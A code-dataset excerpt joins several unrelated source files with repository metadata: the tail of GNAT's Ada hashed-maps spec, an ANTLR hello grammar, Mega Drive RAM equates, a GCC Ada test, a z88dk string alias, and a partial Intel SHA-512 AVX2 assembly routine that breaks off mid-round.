Key : Key_Type;
Position : out Cursor;
Inserted : out Boolean);
-- Insert inserts Key into Container as per the five-parameter Insert, with
-- the difference that an element initialized by default (see 3.3.1) is
-- inserted.
procedure Insert
(Container : in out Map;
Key : Key_Type;
New_Item : Element_Type);
-- Insert inserts Key and New_Item into Container as per the five-parameter
-- Insert, with the difference that if a node with a key equivalent to Key
-- is already in the map, then Constraint_Error is propagated.
procedure Include
(Container : in out Map;
Key : Key_Type;
New_Item : Element_Type);
-- Include inserts Key and New_Item into Container as per the
-- five-parameter Insert, with the difference that if a node with a key
-- equivalent to Key is already in the map, then this operation assigns Key
-- and New_Item to the matching node. Any exception raised during
-- assignment is propagated.
procedure Replace
(Container : in out Map;
Key : Key_Type;
New_Item : Element_Type);
-- Replace checks if a node with a key equivalent to Key is present in
-- Container. If a match is found, Replace assigns Key and New_Item to the
-- matching node; otherwise, Constraint_Error is propagated.
procedure Exclude (Container : in out Map; Key : Key_Type);
-- Exclude checks if a node with a key equivalent to Key is present in
-- Container. If a match is found, Exclude removes the node from the map.
procedure Delete (Container : in out Map; Key : Key_Type);
-- Delete checks if a node with a key equivalent to Key is present in
-- Container. If a match is found, Delete removes the node from the map;
-- otherwise, Constraint_Error is propagated.
procedure Delete (Container : in out Map; Position : in out Cursor);
-- Delete removes the node designated by Position from the map. Position is
-- set to No_Element on return.
--
-- If Position equals No_Element, then Constraint_Error is propagated. If
-- Position does not designate an element in Container, then Program_Error
-- is propagated.
function First (Container : Map) return Cursor;
-- If Length (Container) = 0, then First returns No_Element. Otherwise,
-- First returns a cursor that designates the first node in Container.
function Next (Position : Cursor) return Cursor;
-- Returns a cursor that designates the successor of the node designated by
-- Position. If Position designates the last node, then No_Element is
-- returned. If Position equals No_Element, then No_Element is returned.
procedure Next (Position : in out Cursor);
-- Equivalent to Position := Next (Position)
function Find (Container : Map; Key : Key_Type) return Cursor;
-- If Length (Container) equals 0, then Find returns No_Element.
-- Otherwise, Find checks if a node with a key equivalent to Key is present
-- in Container. If a match is found, a cursor designating the matching
-- node is returned; otherwise, No_Element is returned.
function Contains (Container : Map; Key : Key_Type) return Boolean;
-- Equivalent to Find (Container, Key) /= No_Element.
function Element (Container : Map; Key : Key_Type) return Element_Type;
-- Equivalent to Element (Find (Container, Key))
function Equivalent_Keys (Left, Right : Cursor) return Boolean;
-- Returns the result of calling Equivalent_Keys with the keys of the nodes
-- designated by cursors Left and Right.
function Equivalent_Keys (Left : Cursor; Right : Key_Type) return Boolean;
-- Returns the result of calling Equivalent_Keys with key of the node
-- designated by Left and key Right.
function Equivalent_Keys (Left : Key_Type; Right : Cursor) return Boolean;
-- Returns the result of calling Equivalent_Keys with key Left and the node
-- designated by Right.
procedure Iterate
(Container : Map;
Process : not null access procedure (Position : Cursor));
-- Iterate calls Process.all with a cursor that designates each node in
-- Container, starting with the first node and moving the cursor according
-- to the successor relation. Tampering with the cursors of Container is
-- prohibited during the execution of a call on Process.all. Any exception
-- raised by Process.all is propagated.
function Iterate
(Container : Map) return Map_Iterator_Interfaces.Forward_Iterator'Class;
private
pragma Inline ("=");
pragma Inline (Length);
pragma Inline (Is_Empty);
pragma Inline (Clear);
pragma Inline (Key);
pragma Inline (Element);
pragma Inline (Move);
pragma Inline (Contains);
pragma Inline (Capacity);
pragma Inline (Reserve_Capacity);
pragma Inline (Has_Element);
pragma Inline (Equivalent_Keys);
pragma Inline (Next);
type Node_Type;
type Node_Access is access Node_Type;
type Node_Type is limited record
Key : Key_Type;
Element : aliased Element_Type;
Next : Node_Access;
end record;
package HT_Types is
new Hash_Tables.Generic_Hash_Table_Types (Node_Type, Node_Access);
type Map is new Ada.Finalization.Controlled with record
HT : HT_Types.Hash_Table_Type;
end record with Put_Image => Put_Image;
procedure Put_Image
(S : in out Ada.Strings.Text_Output.Sink'Class; V : Map);
overriding procedure Adjust (Container : in out Map);
overriding procedure Finalize (Container : in out Map);
use HT_Types, HT_Types.Implementation;
use Ada.Finalization;
use Ada.Streams;
procedure Write
(Stream : not null access Root_Stream_Type'Class;
Container : Map);
for Map'Write use Write;
procedure Read
(Stream : not null access Root_Stream_Type'Class;
Container : out Map);
for Map'Read use Read;
type Map_Access is access all Map;
for Map_Access'Storage_Size use 0;
type Cursor is record
Container : Map_Access;
-- Access to this cursor's container
Node : Node_Access;
-- Access to the node pointed to by this cursor
Position : Hash_Type := Hash_Type'Last;
-- Position of the node in the buckets of the container. If this is
-- equal to Hash_Type'Last, then it will not be used.
end record;
procedure Read
(Stream : not null access Root_Stream_Type'Class;
Item : out Cursor);
for Cursor'Read use Read;
procedure Write
(Stream : not null access Root_Stream_Type'Class;
Item : Cursor);
for Cursor'Write use Write;
subtype Reference_Control_Type is Implementation.Reference_Control_Type;
-- It is necessary to rename this here, so that the compiler can find it
type Constant_Reference_Type
(Element : not null access constant Element_Type) is
record
Control : Reference_Control_Type :=
raise Program_Error with "uninitialized reference";
-- The RM says, "The default initialization of an object of
-- type Constant_Reference_Type or Reference_Type propagates
-- Program_Error."
end record;
procedure Write
(Stream : not null access Root_Stream_Type'Class;
Item : Constant_Reference_Type);
for Constant_Reference_Type'Write use Write;
procedure Read
(Stream : not null access Root_Stream_Type'Class;
Item : out Constant_Reference_Type);
for Constant_Reference_Type'Read use Read;
type Reference_Type
(Element : not null access Element_Type) is
record
Control : Reference_Control_Type :=
raise Program_Error with "uninitialized reference";
-- The RM says, "The default initialization of an object of
-- type Constant_Reference_Type or Reference_Type propagates
-- Program_Error."
end record;
procedure Write
(Stream : not null access Root_Stream_Type'Class;
Item : Reference_Type);
for Reference_Type'Write use Write;
procedure Read
(Stream : not null access Root_Stream_Type'Class;
Item : out Reference_Type);
for Reference_Type'Read use Read;
-- Three operations are used to optimize in the expansion of "for ... of"
-- loops: the Next(Cursor) procedure in the visible part, and the following
-- Pseudo_Reference and Get_Element_Access functions. See Sem_Ch5 for
-- details.
function Pseudo_Reference
(Container : aliased Map'Class) return Reference_Control_Type;
pragma Inline (Pseudo_Reference);
-- Creates an object of type Reference_Control_Type pointing to the
-- container, and increments the Lock. Finalization of this object will
-- decrement the Lock.
type Element_Access is access all Element_Type with
Storage_Size => 0;
function Get_Element_Access
(Position : Cursor) return not null Element_Access;
-- Returns a pointer to the element designated by Position.
Empty_Map : constant Map := (Controlled with others => <>);
No_Element : constant Cursor := (Container => null, Node => null,
Position => Hash_Type'Last);
type Iterator is new Limited_Controlled and
Map_Iterator_Interfaces.Forward_Iterator with
record
Container : Map_Access;
end record
with Disable_Controlled => not T_Check;
overriding procedure Finalize (Object : in out Iterator);
overriding function First (Object : Iterator) return Cursor;
overriding function Next
(Object : Iterator;
Position : Cursor) return Cursor;
end Ada.Containers.Hashed_Maps;
|
src/main/antlr/org/zavodnikov/antlr4/hello/Hello.g4 | dzavodnikov/ANTLR4 | 3 | 2196 | // Define a grammar called Hello.
grammar Hello;
@header {
package org.zavodnikov.antlr4.hello;
}
// Parser rules (starts with lowercase letter).
all : r+ ;
r : 'hello' ID ; // Match keyword hello followed by an identifier.
// Lexer rules (starts with UPPERCASE letter).
ID : [a-z]+ ; // Match lower-case identifiers.
WS : [ \t\r\n]+ -> skip ; // Skip spaces, tabs, newlines.
|
whitenoise/_includes/variables.asm | ArcadeTV/megadrive-samples | 5 | 20383 | ;==============================================================
; RAM Locations
;==============================================================
RAM_RANDOM_DATA_INDEX equ $00FF0000 ; w
RAM_PALETTE_CYCLE equ $00FF0002 ; b
RAM_VINT_FLAG equ $00FF0004 ; b
RAM_TICTOC equ $00FF0006 ; b
RAM_PLANE_B_SCROLL_X equ $00FF0008 ; w
RAM_PLANE_B_SCROLL_Y equ $00FF000A ; w
RAM_CURRENT_FRAME equ $00FF000C ; l Frame Counter
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/fatp_sra.adb | best08618/asylo | 7 | 22944 | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/fatp_sra.adb
-- { dg-do compile }
-- { dg-options "-gnatp -O1" }
procedure Fatp_Sra is
function X return String is
begin
return "X";
end;
function Letter return String is
begin
return X;
end;
begin
null;
end;
|
libsrc/_DEVELOPMENT/string/c/sdcc_iy/strnicmp.asm | jpoikela/z88dk | 640 | 162566 | <reponame>jpoikela/z88dk<gh_stars>100-1000
; int strnicmp(const char *s1, const char *s2, size_t n)
SECTION code_clib
SECTION code_string
PUBLIC _strnicmp
EXTERN _strncasecmp
defc _strnicmp = _strncasecmp
|
src/beast/beast/crypto/sha512_avx2_rorx.asm | radrbiz/radard | 89 | 90854 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright (c) 2012, Intel Corporation
;
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the
; distribution.
;
; * Neither the name of the Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
;
;
; THIS SOFTWARE IS PROVIDED BY INTEL CORPORATION "AS IS" AND ANY
; EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL INTEL CORPORATION OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
; PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
; LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
; NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; Example YASM command lines:
; Windows: yasm -f x64 -D WINABI sha512_rorx.asm
; Linux: yasm -f elf64 sha512_rorx.asm
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; This code schedules 1 blocks at a time, with 4 lanes per block
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
BITS 64
section .text
; Virtual Registers
%define Y_0 ymm4
%define Y_1 ymm5
%define Y_2 ymm6
%define Y_3 ymm7
%define YTMP0 ymm0
%define YTMP1 ymm1
%define YTMP2 ymm2
%define YTMP3 ymm3
%define YTMP4 ymm8
%define XFER YTMP0
%define BYTE_FLIP_MASK ymm9
%ifdef WINABI
%define INP rcx ; 1st arg
%define CTX rdx ; 2nd arg
%define NUM_BLKS r8 ; 3rd arg
%define c rdi
%define d rsi
%define e r8
%define y3 rcx
%else
%define INP rdi ; 1st arg
%define CTX rsi ; 2nd arg
%define NUM_BLKS rdx ; 3rd arg
%define c rcx
%define d r8
%define e rdx
%define y3 rdi
%endif
%define TBL rbp
%define a rax
%define b rbx
%define f r9
%define g r10
%define h r11
%define old_h r11
%define T1 r12
%define y0 r13
%define y1 r14
%define y2 r15
%define y4 r12
; Local variables (stack frame)
struc frame
.XFER: resq 4
.SRND: resq 1
.INP: resq 1
.INPEND: resq 1
.RSPSAVE: resq 1
%ifdef WINABI
.XMMSAVE: resdq 4
.GPRSAVE: resq 8
%else
.GPRSAVE: resq 6
%endif
endstruc
%define VMOVDQ vmovdqu ;; assume buffers not aligned
; addm [mem], reg
; Add reg to mem using reg-mem add and store
%macro addm 2
add %2, %1
mov %1, %2
%endm
; COPY_YMM_AND_BSWAP ymm, [mem], byte_flip_mask
; Load ymm with mem and byte swap each dword
%macro COPY_YMM_AND_BSWAP 3
VMOVDQ %1, %2
vpshufb %1, %1 ,%3
%endmacro
; rotate_Ys
; Rotate values of symbols Y0...Y3
%macro rotate_Ys 0
%xdefine %%Y_ Y_0
%xdefine Y_0 Y_1
%xdefine Y_1 Y_2
%xdefine Y_2 Y_3
%xdefine Y_3 %%Y_
%endm
; RotateState
%macro RotateState 0
; Rotate symbles a..h right
%xdefine old_h h
%xdefine %%TMP_ h
%xdefine h g
%xdefine g f
%xdefine f e
%xdefine e d
%xdefine d c
%xdefine c b
%xdefine b a
%xdefine a %%TMP_
%endm
; %macro MY_VPALIGNR YDST, YSRC1, YSRC2, RVAL
; YDST = {YSRC1, YSRC2} >> RVAL*8
%macro MY_VPALIGNR 4
%define %%YDST %1
%define %%YSRC1 %2
%define %%YSRC2 %3
%define %%RVAL %4
vperm2f128 %%YDST, %%YSRC1, %%YSRC2, 0x3 ; YDST = {YS1_LO, YS2_HI}
vpalignr %%YDST, %%YDST, %%YSRC2, %%RVAL ; YDST = {YDS1, YS2} >> RVAL*8
%endm
%macro FOUR_ROUNDS_AND_SCHED 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RND N + 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Extract w[t-7]
MY_VPALIGNR YTMP0, Y_3, Y_2, 8 ; YTMP0 = W[-7]
; Calculate w[t-16] + w[t-7]
vpaddq YTMP0, YTMP0, Y_0 ; YTMP0 = W[-7] + W[-16]
; Extract w[t-15]
MY_VPALIGNR YTMP1, Y_1, Y_0, 8 ; YTMP1 = W[-15]
; Calculate sigma0
; Calculate w[t-15] ror 1
vpsrlq YTMP2, YTMP1, 1
vpsllq YTMP3, YTMP1, (64-1)
vpor YTMP3, YTMP3, YTMP2 ; YTMP3 = W[-15] ror 1
; Calculate w[t-15] shr 7
vpsrlq YTMP4, YTMP1, 7 ; YTMP4 = W[-15] >> 7
mov y3, a ; y3 = a ; MAJA
rorx y0, e, 41 ; y0 = e >> 41 ; S1A
rorx y1, e, 18 ; y1 = e >> 18 ; S1B
add h, [rsp+frame.XFER+0*8] ; h = k + w + h ; --
or y3, c ; y3 = a|c ; MAJA
mov y2, f ; y2 = f ; CH
rorx T1, a, 34 ; T1 = a >> 34 ; S0B
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ; S1
xor y2, g ; y2 = f^g ; CH
rorx y1, e, 14 ; y1 = (e >> 14) ; S1
and y2, e ; y2 = (f^g)&e ; CH
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ^ (e>>14) ; S1
rorx y1, a, 39 ; y1 = a >> 39 ; S0A
add d, h ; d = k + w + h + d ; --
and y3, b ; y3 = (a|c)&b ; MAJA
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ; S0
rorx T1, a, 28 ; T1 = (a >> 28) ; S0
xor y2, g ; y2 = CH = ((f^g)&e)^g ; CH
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ^ (a>>28) ; S0
mov T1, a ; T1 = a ; MAJB
and T1, c ; T1 = a&c ; MAJB
add y2, y0 ; y2 = S1 + CH ; --
or y3, T1 ; y3 = MAJ = (a|c)&b)|(a&c) ; MAJ
add h, y1 ; h = k + w + h + S0 ; --
add d, y2 ; d = k + w + h + d + S1 + CH = d + t1 ; --
add h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
add h, y3 ; h = t1 + S0 + MAJ ; --
RotateState
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RND N + 1 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;
; Calculate w[t-15] ror 8
vpsrlq YTMP2, YTMP1, 8
vpsllq YTMP1, YTMP1, (64-8)
vpor YTMP1, YTMP1, YTMP2 ; YTMP1 = W[-15] ror 8
; XOR the three components
vpxor YTMP3, YTMP3, YTMP4 ; YTMP3 = W[-15] ror 1 ^ W[-15] >> 7
vpxor YTMP1, YTMP3, YTMP1 ; YTMP1 = s0
; Add three components, w[t-16], w[t-7] and sigma0
vpaddq YTMP0, YTMP0, YTMP1 ; YTMP0 = W[-16] + W[-7] + s0
; Move to appropriate lanes for calculating w[16] and w[17]
vperm2f128 Y_0, YTMP0, YTMP0, 0x0 ; Y_0 = W[-16] + W[-7] + s0 {BABA}
; Move to appropriate lanes for calculating w[18] and w[19]
vpand YTMP0, YTMP0, [MASK_YMM_LO wrt rip] ; YTMP0 = W[-16] + W[-7] + s0 {DC00}
; Calculate w[16] and w[17] in both 128 bit lanes
; Calculate sigma1 for w[16] and w[17] on both 128 bit lanes
vperm2f128 YTMP2, Y_3, Y_3, 0x11 ; YTMP2 = W[-2] {BABA}
vpsrlq YTMP4, YTMP2, 6 ; YTMP4 = W[-2] >> 6 {BABA}
mov y3, a ; y3 = a ; MAJA
rorx y0, e, 41 ; y0 = e >> 41 ; S1A
rorx y1, e, 18 ; y1 = e >> 18 ; S1B
add h, [rsp+frame.XFER+1*8] ; h = k + w + h ; --
or y3, c ; y3 = a|c ; MAJA
mov y2, f ; y2 = f ; CH
rorx T1, a, 34 ; T1 = a >> 34 ; S0B
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ; S1
xor y2, g ; y2 = f^g ; CH
rorx y1, e, 14 ; y1 = (e >> 14) ; S1
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ^ (e>>14) ; S1
rorx y1, a, 39 ; y1 = a >> 39 ; S0A
and y2, e ; y2 = (f^g)&e ; CH
add d, h ; d = k + w + h + d ; --
and y3, b ; y3 = (a|c)&b ; MAJA
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ; S0
rorx T1, a, 28 ; T1 = (a >> 28) ; S0
xor y2, g ; y2 = CH = ((f^g)&e)^g ; CH
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ^ (a>>28) ; S0
mov T1, a ; T1 = a ; MAJB
and T1, c ; T1 = a&c ; MAJB
add y2, y0 ; y2 = S1 + CH ; --
or y3, T1 ; y3 = MAJ = (a|c)&b)|(a&c) ; MAJ
add h, y1 ; h = k + w + h + S0 ; --
add d, y2 ; d = k + w + h + d + S1 + CH = d + t1 ; --
add h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
add h, y3 ; h = t1 + S0 + MAJ ; --
RotateState
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RND N + 2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;
vpsrlq YTMP3, YTMP2, 19 ; YTMP3 = W[-2] >> 19 {BABA}
vpsllq YTMP1, YTMP2, (64-19) ; YTMP1 = W[-2] << 19 {BABA}
vpor YTMP3, YTMP3, YTMP1 ; YTMP3 = W[-2] ror 19 {BABA}
vpxor YTMP4, YTMP4, YTMP3 ; YTMP4 = W[-2] ror 19 ^ W[-2] >> 6 {BABA}
vpsrlq YTMP3, YTMP2, 61 ; YTMP3 = W[-2] >> 61 {BABA}
vpsllq YTMP1, YTMP2, (64-61) ; YTMP1 = W[-2] << 61 {BABA}
vpor YTMP3, YTMP3, YTMP1 ; YTMP3 = W[-2] ror 61 {BABA}
vpxor YTMP4, YTMP4, YTMP3 ; YTMP4 = s1 = (W[-2] ror 19) ^ (W[-2] ror 61) ^ (W[-2] >> 6) {BABA}
; Add sigma1 to the other compunents to get w[16] and w[17]
vpaddq Y_0, Y_0, YTMP4 ; Y_0 = {W[1], W[0], W[1], W[0]}
; Calculate sigma1 for w[18] and w[19] for upper 128 bit lane
vpsrlq YTMP4, Y_0, 6 ; YTMP4 = W[-2] >> 6 {DC--}
mov y3, a ; y3 = a ; MAJA
rorx y0, e, 41 ; y0 = e >> 41 ; S1A
add h, [rsp+frame.XFER+2*8] ; h = k + w + h ; --
rorx y1, e, 18 ; y1 = e >> 18 ; S1B
or y3, c ; y3 = a|c ; MAJA
mov y2, f ; y2 = f ; CH
xor y2, g ; y2 = f^g ; CH
rorx T1, a, 34 ; T1 = a >> 34 ; S0B
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ; S1
and y2, e ; y2 = (f^g)&e ; CH
rorx y1, e, 14 ; y1 = (e >> 14) ; S1
add d, h ; d = k + w + h + d ; --
and y3, b ; y3 = (a|c)&b ; MAJA
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ^ (e>>14) ; S1
rorx y1, a, 39 ; y1 = a >> 39 ; S0A
xor y2, g ; y2 = CH = ((f^g)&e)^g ; CH
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ; S0
rorx T1, a, 28 ; T1 = (a >> 28) ; S0
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ^ (a>>28) ; S0
mov T1, a ; T1 = a ; MAJB
and T1, c ; T1 = a&c ; MAJB
add y2, y0 ; y2 = S1 + CH ; --
or y3, T1 ; y3 = MAJ = (a|c)&b)|(a&c) ; MAJ
add h, y1 ; h = k + w + h + S0 ; --
add d, y2 ; d = k + w + h + d + S1 + CH = d + t1 ; --
add h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
add h, y3 ; h = t1 + S0 + MAJ ; --
RotateState
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RND N + 3 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;
vpsrlq YTMP3, Y_0, 19 ; YTMP3 = W[-2] >> 19 {DC--}
vpsllq YTMP1, Y_0, (64-19) ; YTMP1 = W[-2] << 19 {DC--}
vpor YTMP3, YTMP3, YTMP1 ; YTMP3 = W[-2] ror 19 {DC--}
vpxor YTMP4, YTMP4, YTMP3 ; YTMP4 = W[-2] ror 19 ^ W[-2] >> 6 {DC--}
vpsrlq YTMP3, Y_0, 61 ; YTMP3 = W[-2] >> 61 {DC--}
vpsllq YTMP1, Y_0, (64-61) ; YTMP1 = W[-2] << 61 {DC--}
vpor YTMP3, YTMP3, YTMP1 ; YTMP3 = W[-2] ror 61 {DC--}
vpxor YTMP4, YTMP4, YTMP3 ; YTMP4 = s1 = (W[-2] ror 19) ^ (W[-2] ror 61) ^ (W[-2] >> 6) {DC--}
; Add the sigma0 + w[t-7] + w[t-16] for w[18] and w[19] to newly calculated sigma1 to get w[18] and w[19]
vpaddq YTMP2, YTMP0, YTMP4 ; YTMP2 = {W[3], W[2], --, --}
; Form w[19, w[18], w17], w[16]
vpblendd Y_0, Y_0, YTMP2, 0xF0 ; Y_0 = {W[3], W[2], W[1], W[0]}
; vperm2f128 Y_0, Y_0, YTMP2, 0x30
mov y3, a ; y3 = a ; MAJA
rorx y0, e, 41 ; y0 = e >> 41 ; S1A
rorx y1, e, 18 ; y1 = e >> 18 ; S1B
add h, [rsp+frame.XFER+3*8] ; h = k + w + h ; --
or y3, c ; y3 = a|c ; MAJA
mov y2, f ; y2 = f ; CH
rorx T1, a, 34 ; T1 = a >> 34 ; S0B
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ; S1
xor y2, g ; y2 = f^g ; CH
rorx y1, e, 14 ; y1 = (e >> 14) ; S1
and y2, e ; y2 = (f^g)&e ; CH
add d, h ; d = k + w + h + d ; --
and y3, b ; y3 = (a|c)&b ; MAJA
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ^ (e>>14) ; S1
xor y2, g ; y2 = CH = ((f^g)&e)^g ; CH
rorx y1, a, 39 ; y1 = a >> 39 ; S0A
add y2, y0 ; y2 = S1 + CH ; --
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ; S0
add d, y2 ; d = k + w + h + d + S1 + CH = d + t1 ; --
rorx T1, a, 28 ; T1 = (a >> 28) ; S0
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ^ (a>>28) ; S0
mov T1, a ; T1 = a ; MAJB
and T1, c ; T1 = a&c ; MAJB
or y3, T1 ; y3 = MAJ = (a|c)&b)|(a&c) ; MAJ
add h, y1 ; h = k + w + h + S0 ; --
add h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
add h, y3 ; h = t1 + S0 + MAJ ; --
RotateState
rotate_Ys
%endm
%macro DO_4ROUNDS 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RND N + 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov y2, f ; y2 = f ; CH
rorx y0, e, 41 ; y0 = e >> 41 ; S1A
rorx y1, e, 18 ; y1 = e >> 18 ; S1B
xor y2, g ; y2 = f^g ; CH
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ; S1
rorx y1, e, 14 ; y1 = (e >> 14) ; S1
and y2, e ; y2 = (f^g)&e ; CH
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ^ (e>>14) ; S1
rorx T1, a, 34 ; T1 = a >> 34 ; S0B
xor y2, g ; y2 = CH = ((f^g)&e)^g ; CH
rorx y1, a, 39 ; y1 = a >> 39 ; S0A
mov y3, a ; y3 = a ; MAJA
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ; S0
rorx T1, a, 28 ; T1 = (a >> 28) ; S0
add h, [rsp + frame.XFER + 8*0] ; h = k + w + h ; --
or y3, c ; y3 = a|c ; MAJA
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ^ (a>>28) ; S0
mov T1, a ; T1 = a ; MAJB
and y3, b ; y3 = (a|c)&b ; MAJA
and T1, c ; T1 = a&c ; MAJB
add y2, y0 ; y2 = S1 + CH ; --
add d, h ; d = k + w + h + d ; --
or y3, T1 ; y3 = MAJ = (a|c)&b)|(a&c) ; MAJ
add h, y1 ; h = k + w + h + S0 ; --
add d, y2 ; d = k + w + h + d + S1 + CH = d + t1 ; --
;add h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
;add h, y3 ; h = t1 + S0 + MAJ ; --
RotateState
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RND N + 1 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
add old_h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
mov y2, f ; y2 = f ; CH
rorx y0, e, 41 ; y0 = e >> 41 ; S1A
rorx y1, e, 18 ; y1 = e >> 18 ; S1B
xor y2, g ; y2 = f^g ; CH
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ; S1
rorx y1, e, 14 ; y1 = (e >> 14) ; S1
and y2, e ; y2 = (f^g)&e ; CH
add old_h, y3 ; h = t1 + S0 + MAJ ; --
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ^ (e>>14) ; S1
rorx T1, a, 34 ; T1 = a >> 34 ; S0B
xor y2, g ; y2 = CH = ((f^g)&e)^g ; CH
rorx y1, a, 39 ; y1 = a >> 39 ; S0A
mov y3, a ; y3 = a ; MAJA
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ; S0
rorx T1, a, 28 ; T1 = (a >> 28) ; S0
add h, [rsp + frame.XFER + 8*1] ; h = k + w + h ; --
or y3, c ; y3 = a|c ; MAJA
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ^ (a>>28) ; S0
mov T1, a ; T1 = a ; MAJB
and y3, b ; y3 = (a|c)&b ; MAJA
and T1, c ; T1 = a&c ; MAJB
add y2, y0 ; y2 = S1 + CH ; --
add d, h ; d = k + w + h + d ; --
or y3, T1 ; y3 = MAJ = (a|c)&b)|(a&c) ; MAJ
add h, y1 ; h = k + w + h + S0 ; --
add d, y2 ; d = k + w + h + d + S1 + CH = d + t1 ; --
;add h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
;add h, y3 ; h = t1 + S0 + MAJ ; --
RotateState
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RND N + 2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
add old_h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
mov y2, f ; y2 = f ; CH
rorx y0, e, 41 ; y0 = e >> 41 ; S1A
rorx y1, e, 18 ; y1 = e >> 18 ; S1B
xor y2, g ; y2 = f^g ; CH
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ; S1
rorx y1, e, 14 ; y1 = (e >> 14) ; S1
and y2, e ; y2 = (f^g)&e ; CH
add old_h, y3 ; h = t1 + S0 + MAJ ; --
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ^ (e>>14) ; S1
rorx T1, a, 34 ; T1 = a >> 34 ; S0B
xor y2, g ; y2 = CH = ((f^g)&e)^g ; CH
rorx y1, a, 39 ; y1 = a >> 39 ; S0A
mov y3, a ; y3 = a ; MAJA
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ; S0
rorx T1, a, 28 ; T1 = (a >> 28) ; S0
add h, [rsp + frame.XFER + 8*2] ; h = k + w + h ; --
or y3, c ; y3 = a|c ; MAJA
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ^ (a>>28) ; S0
mov T1, a ; T1 = a ; MAJB
and y3, b ; y3 = (a|c)&b ; MAJA
and T1, c ; T1 = a&c ; MAJB
add y2, y0 ; y2 = S1 + CH ; --
add d, h ; d = k + w + h + d ; --
or y3, T1 ; y3 = MAJ = (a|c)&b)|(a&c) ; MAJ
add h, y1 ; h = k + w + h + S0 ; --
add d, y2 ; d = k + w + h + d + S1 + CH = d + t1 ; --
